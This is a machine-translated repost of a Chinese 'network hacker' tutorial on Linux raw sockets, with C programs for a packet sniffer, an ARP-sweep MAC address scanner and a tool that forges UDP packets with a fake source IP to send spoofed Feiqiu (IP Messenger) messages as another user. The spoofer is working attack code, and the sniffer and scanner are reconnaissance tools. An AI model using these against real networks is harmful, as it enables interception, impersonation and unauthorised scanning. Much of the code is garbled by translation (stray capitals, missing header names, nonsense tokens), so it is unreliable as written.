In addition to Weibo, there is also WeChat
Please pay attention
WeChat public account
Shulou
2025-02-22 Update From: SLTechnology News&Howtos shulou NAV: SLTechnology News&Howtos > Network Security >
Share
Shulou(Shulou.com)06/01 Report--
The primitive socket of the network hacker (SOCK_RAW)
This paper uses the actual program to complete the MAC packet analysis, network data analysis, MAC address scanner and Feiqiu spoofing.
Here I changed the original entry to a beginner, because the operation on the original socket is indeed above the normal TCP,UDP.
TCP and UDP do cover ordinary network applications, but please pay attention to the word "ordinary". If you want to be a hacker, you can not only be satisfied with writing some ordinary network Mini Program, but also directly analyze all the data packets, but also be able to send self-assembled data packets, step into the field of advanced network programming, and write some strange network programs. ).
Note that all programs are implemented under the LINUX system, of course, it is not impossible under windows, but there is a difference in the header file, which is left to interested students to study.
Taking reception as an example, let's first analyze a link layer MAC packet.
It's the same old routine:
Header file
# include
# include
# include
# include
# include
# include
# include
# include
# include
# include
1. Create the original socket
Int sock_raw_fd = socket (PF_PACKET,SOCK_RAW,htons (ETH_P_ALL))
If (sock_raw_fd
< 0) { perror("socket"); exit(-1); } 2.定义接收缓冲区 unsigned char buf[1024]=""; 3.储存源目的MAC地址缓冲区 unsigned char src_mac[18]=""; unsigned char dst_mac[18]=""; //从网卡直接接收数据包 int ret = recvfrom(sock_raw_fd,buf,sizeof(buf),0,NULL,NULL); if(-1 != ret) { //打印数据包的源目的MAC sprintf(dst_mac,"x:x:x:x:x:x",buf[0],buf[1],buf[2],buf[3],buf[4],buf[5]); sprintf(src_mac,"x:x:x:x:x:x",buf[6],buf[7],buf[8],buf[9],buf[10],buf[11]); printf("MAC:%s >>% s\ n ", src_mac,dst_mac)
Printf ("type = = xx\ n", buf [12], buf [13])
}
Close (sock_raw_fd)
Because the first 14 bytes of all packets transmitted at the data link layer are 6-byte MAC,6 byte source MAC plus 2-byte data frame type (e.g. IP:0800,ARP:0806,RARP:8035)
So this program takes out the first 12 bytes of the receiving buffer and outputs them respectively to show the source and destination MAC address.
But we can do more than just analyze MAC addresses, enough to write a passive network sniffer.
Header file
# include
# include
# include
# include
# include
# include
# include
# include
# include
# include
# include
# include
# include
# include
# include
# include
/ / subfunction, used to display the source destination IP address
Void showip (unsigned char * buffer)
{
Struct iphdr * iph
Char Sipaddr [INET _ ADDRSTRLEN] = ""
Char dipaddr [INET _ ADDRSTRLEN] = ""
Iph = (struct iphdr*) (buffer+sizeof (struct ethhdr))
Inet_ntop (AF_INET,&iph- > saddr,sipaddr,INET_ADDRSTRLEN)
Inet_ntop (AF_INET,&iph- > daddr,dipaddr,INET_ADDRSTRLEN)
Printf ("IP:% s > >% s\ n", sipaddr,dipaddr)
}
Principal function
Int main (int argc, char * * argv)
{
Int sock, n
Unsigned char buffer [1024]
Struct ethhdr * eth
Struct iphdr * iph
Struct ifreq ethreq
Char type [5] = ""
Uint16_t * port=NULL
/ / create the original socket
If (0 > (sock = socket (PF_PACKET, SOCK_RAW, htons (ETH_P_ALL)
{
Perror ("socket")
Exit (1)
}
/ / receive data packet
While (1)
{
Bzero (buffer,sizeof (buffer))
N=recvfrom (sock,buffer,1024,0,NULL,NULL)
/ / analyze the packet type
Sprintf (type, "xx", buffer [12], buffer [13])
/ / 0800IP packet
If (0 = = strcmp (type, "0800"))
{
Printf ("= IP=\ n")
/ / TCP or UDP
If (0x06 = = buffer [23])
{
Printf ("TCP\ n")
}
Else if (0x11 = = buffer [23])
{
Printf ("UDP\ n")
}
/ / Port
Port= buffer+34
Printf ("Port:%d > >", ntohs (* port))
Port= buffer+36
Printf ("% d\ n", ntohs (* port))
/ / output IP address
Showip (buffer)
}
Else if (0 = = strcmp (type, "0806"))
{
Printf ("= ARP=\ n")
Showip (buffer)
}
Else if (0 = = strcmp (type, "8035"))
{
Printf ("= RARP=\ n")
}
Else
{
Printf ("=% s =\ n", type)
}
Eth = (struct ethhdr*) buffer
/ / display MAC address
Printf ("MAC: X:X:X:X:X:X > > X:X:X:X:X:X\ n", eth- > h_source [0], eth- > h_source [1], eth- > h_source [2], eth- > h_source [3], eth- > h_source [4], eth- > h_source [5], eth- > h_dest [0], eth- > h_dest [1], eth- > h_dest [2], eth- > h_dest [3], eth- > h_dest [4]) Eth- > h_dest [5])
}
}
Note the format of the IP packet here. The first 14 bytes of an IP packet is the MAC frame header, followed by a 20-byte IP header, and the port number is just after the 34th byte of the packet, whether it is an UDP packet or an TCP packet, with two bytes of source port number and two bytes of destination port number.
So all you have to do is to analyze the received packets according to a fixed format.
Passive sniffers only need to receive data, and we can also send data.
Try to get a MAC address scanner.
Header file
# include
# include
# include
# include
# include
# include
# include
# include
# include
# include
# include
# include
# include
# include
# include
# include
# include
# include
/ / create a structure definition socket and file descriptor
Typedef struct arg
{
Int fd
Int sock_raw_fd
} SOCK_FD
/ / the child thread receives packets
Void * recvarp (void * arg)
{
SOCK_FD sock_fds = * (SOCK_FD*) arg
Int sock_raw_fd = sock_fds.sock_raw_fd
Int fd = sock_fds.fd
While (1)
{
Unsigned char recv_buf = ""; / / receive buffer
Recvfrom (sock_raw_fd,recv_buf,sizeof (recv_buf), 0meme null)
If (recv_buf [21] = = 2)
{
Unsigned char write_buf [20] = ""
Sprintf (write_buf, "% d.%d.%d.%d-- x:x:x:x:x:x\ r\ n", recv_buf [28], recv_buf [29], recv_buf [30], recv_buf [31], recv_buf [6], recv_buf [7], recv_buf [8], recv_buf [9], recv_buf [10], recv_buf [11])
/ / write to a file
Write (fd, write_buf, strlen (write_buf))
Printf ("% s", write_buf)
}
}
}
Principal function
Int main (int argc, char * * argv)
{
SOCK_FD sock_fds
Int fd
/ / create a file to save the received data
Fd = open ("arplist.txt", O_CREAT | O_RDWR | O_APPEND | O_TRUNC, 0777)
/ / 1 create a socket
Int sock_raw_fd
Sock_raw_fd = socket (PF_PACKET,SOCK_RAW,htons (ETH_P_ARP))
If (sock_raw_fd
< 0) { perror("socket"); exit(-1); } //套接字和文件描述符赋值,作为参数传给线程 sock_fds.sock_raw_fd = sock_raw_fd; sock_fds.fd = fd; pthread_t pth; pthread_create(&pth,NULL,recvarp,(void *)&sock_fds); pthread_detach(pth); //组装ARP请求包 unsigned char arp[42]={ //-------MAC头部---------14 0xff,0xff,0xff,0xff,0xff,0xff,//dst MAC广播包,全FF 0x00,0x0c,0x29,0xa8,0x4a,0xf0,//src MAC自己的MAC地址 0x08,0x06,//pro_type //-------ARP包---------28 0x00,0x01,0x08,0x00, 0x06,0x04,0x00,0x01, 0x00,0x0c,0x29,0xa8,0x4a,0xf0,//src MAC 10,220,4,16, //src IP 0x00,0x00,0x00,0x00,0x00,0x00,//DST MAC // 10,220,4,17 //DST IP 0,0,0,0 //DST IP先写0,后面再赋值 }; //获取网卡接口地址 struct ifreq ethreq; strncpy(ethreq.ifr_name, "eth0", IFNAMSIZ); int ret = ioctl(sock_raw_fd, SIOCGIFINDEX, ðreq); if(ret == -1) { perror("ioctl"); close(sock_raw_fd); exit(-1); } //sockaddr_ll 第三个成员赋值 struct sockaddr_ll sll; bzero(&sll,sizeof(sll)); sll.sll_ifindex = ethreq.ifr_ifindex; //目的IP赋值,从某一个网段开始 arp[38]=10; arp[39]=220; arp[40]=4; arp[41]=0; //sendto发送ARP请求 sendto(sock_raw_fd,arp,42,0,(struct sockaddr*)&sll,sizeof(sll)); //等待ARP应答 printf(" IP -- MAC\n"); while(1)//循环发送,每次IP地址加一 { sendto(sock_raw_fd,arp,42,0,(struct sockaddr*)&sll,sizeof(sll)); arp[41]++; if(arp[41] == 255) { break; } // printf("send IP:%d.%d.%d.%d\n",arp[38],arp[39],arp[40],arp[41]); } //关闭 close(sock_raw_fd); close(fd); return 0; } 最后,我们再来写一个针对于飞秋软件的小程序吧,注意这里使用结构体对数据包进行赋值,所以要了解数据包的格式 头文件 #include #include #include #include #include #include #include #include #include #include #include #include #include #include #include #include #include #include #include #include #include typedef unsigned char uchar; //定义一个UDP伪头部结构体,用于UDP校验 struct falseudp { struct in_addr falseudp_src, falseudp_dst; /* source and dest address */ u_int8_t zero; /* 0 */ u_int8_t proto; /* 17 */ u_int16_t falseudp_len; /* udplen */ u_int16_t source; /* source port */ u_int16_t dest; /* dest port */ u_int16_t len; /* udp length */ u_int16_t check; /* udp checksum */ uchar msg[1024]; }; //计算校验和 unsigned short checksum(unsigned short *buf, int nword); //主函数 int main(int argc, char**argv) { char username[20]=""; char hostname[20]=""; char msg_send[728]=""; uchar srcip[17]=""; uchar dstip[17]=""; printf("Fake IP:"); fflush(stdout); fgets(srcip,sizeof(srcip)-1,stdin); srcip[strlen(srcip)-1]='\0'; printf("Target IP:"); fflush(stdout); fgets(dstip,sizeof(dstip)-1,stdin); dstip[strlen(dstip)-1]='\0'; printf("Target username:"); fflush(stdout); fgets(username,sizeof(username)-1,stdin); username[strlen(username)-1]='\0'; printf("Target hostname:"); fflush(stdout); fgets(hostname,sizeof(hostname)-1,stdin); hostname[strlen(hostname)-1]='\0'; printf("send msg:");fflush(stdout); fgets(msg_send,sizeof(msg_send)-1,stdin); msg_send[strlen(msg_send)-1]='\0'; uchar srcMAC[6]={0xc8,0x9c,0xdc,0xb7,0x0f,0x19}; uchar dstMAC[6]={0x00,0x0c,0x29,0xa8,0x4a,0xf0}; unsigned short check_num; //创建套接字 int sock_raw_fd; sock_raw_fd = socket(PF_PACKET, SOCK_RAW, htons(ETH_P_ALL)); if(sock_raw_fd < 0) { perror("socket"); exit(-1); } //获取接口地址 struct ifreq ethreq; strncpy(ethreq.ifr_name, "eth0", IFNAMSIZ); int ret = ioctl(sock_raw_fd, SIOCGIFINDEX, ðreq); if(ret == -1) { perror("ioctl"); close(sock_raw_fd); exit(-1); } //sockaddr_ll 第三个成员赋值 struct sockaddr_ll sll; bzero(&sll,sizeof(sll)); sll.sll_ifindex = ethreq.ifr_ifindex; //DATA,按照飞秋的消息格式组装数据包(可用wireshark分析出来) uchar msg[1024]=""; int len = sprintf(msg, "%d:%d:%s:%s:%d:%s", 1, 123, username, hostname, 32, msg_send); if(0 != (len%2))//还是计算校验和,数据长度必须是偶数,如果是奇数就在后面加一个0-'\0' { len++; msg[len]='\0'; } printf("len:%d\n",len); //组包,先写0,后面再用结构体赋值,mac+ip+udp // uchar buf[2048]=""; uchar buf[2048]={ //MAC 14 0x00,0x00,0x00,0x00,0x00,0x00,//dst MAC 0x00,0x00,0x00,0x00,0x00,0x00,//src MAC 0x08,0x00,//proto_type }; //源目的IP memcpy(buf,srcMAC,6); memcpy(buf+6,dstMAC,6); //结构体 struct ip *ip; struct udphdr *udp; int ip_len,udp_len; //IP包 ip_len = 20+8+len; ip=(struct ip*)(buf+14); ip->Ip_v = IPVERSION
Ip- > ip_hl = 5
Ip- > ip_tos = 0
Ip- > ip_len = htons (ip_len); / /
Ip- > ip_id = 0 Placement 0
Ip- > ip_off = 0
Ip- > ip_ttl = MAXTTL;//MAXTTL
Ip- > ip_p = IPPROTO_UDP
Ip- > ip_sum = 0
Inet_pton (AF_INET, srcip, & (ip- > ip_src))
Inet_pton (AF_INET, dstip, & (ip- > ip_dst))
/ / calculate checksum
Check_num = checksum ((unsigned short*) ip,10)
Printf ("ip-check_num:%x\ n", check_num); / / 1ca4 and e9cb
Ip- > ip_sum = htons (check_num)
/ / udp package, port 2425
Udp_len = 8+len
Udp = (struct udphdr*) (buf+14+20)
Udp- > source = htons (2425)
Udp- > dest = htons (2425)
Udp- > len = htons (udp_len)
Udp- > check = 0
/ / DATA
Memcpy (buf+42,msg,len)
/ / printf ("% s\ n", buf+42)
/
/ / UDP check
Struct falseudp falseudp
Struct falseudp * p=NULL
/ / pseudo head
Inet_pton (AF_INET, srcip, & (falseudp.falseudp_src))
Inet_pton (AF_INET, dstip, & (falseudp.falseudp_dst))
Falseudp.zero = 0
Falseudp.proto = ip- > ip_p
Falseudp.falseudp_len = udp- > len
Falseudp.source = udp- > source
Falseudp.dest = udp- > dest
Falseudp.len = udp- > len
Falseudp.check = 0
Memcpy (falseudp.msg,msg,len)
/ / printf ("falseudp.msg:%s\ n", falseudp.msg)
/ / calculate UDP checksum
P=&falseudp
Check_num = checksum ((unsigned short*) p, (20+len) / 2)
Udp- > check = htons (check_num); / / 1ca4 and e9cb
Printf ("fudp-check_num:%x\ n", check_num)
/
/ / send data directly with sendto ()
Int iTunes 0
While (1)
{
Int ret_send = sendto (sock_raw_fd, buf, 42+len, 0, (struct sockaddr*) & sll,sizeof (sll))
/ / printf ("ret_send:%d\ n", ret_send)
ITunes +
If (I = = 1)
{break;}
}
Close (sock_raw_fd)
}
/ / =
/ / function: unsigned short checksum (unsigned short * buf, int nword)
/ / function: used to calculate the checksum of TCP or UDP
/ / parameters:
/ / buf: the starting address of the data for checksum
/ / nword: the number of data to be verified (note that this function is verified by 2 Byte, so the nword should be
/ / half of the actual data)
/ / the UDP checksum is calculated as follows:
/ / 1. A 32-bit number is obtained by summing every 16 bits
/ / 2. If this 32-bit number, high 16 bits is not 0, then high 16 bits plus low 16 bits get a 32 bit number
/ / 3. Repeat step 2 until the high 16 bits is 0, invert the low 16 bits and get a checksum.
/ / =
Unsigned short checksum (unsigned short * buf, int nword)
{
Unsigned long sum
For (sum = 0; nword > 0; nword--)
{
Sum + = htons (* buf)
Buf++
}
Sum = (sum > > 16) + (sum&0xffff)
Sum + = (sum > > 16)
Return ~ sum
}
Welcome to subscribe "Shulou Technology Information " to get latest news, interesting things and hot topics in the IT industry, and controls the hottest and latest Internet news, technology news and IT industry trends.
Views: 0
*The comments in the above article only represent the author's personal views and do not represent the views and positions of this website. If you have more insights, please feel free to contribute and share.
Continue with the installation of the previous hadoop.First, install zookooper1. Decompress zookoope
"Every 5-10 years, there's a rare product, a really special, very unusual product that's the most un
© 2024 shulou.com SLNews company. All rights reserved.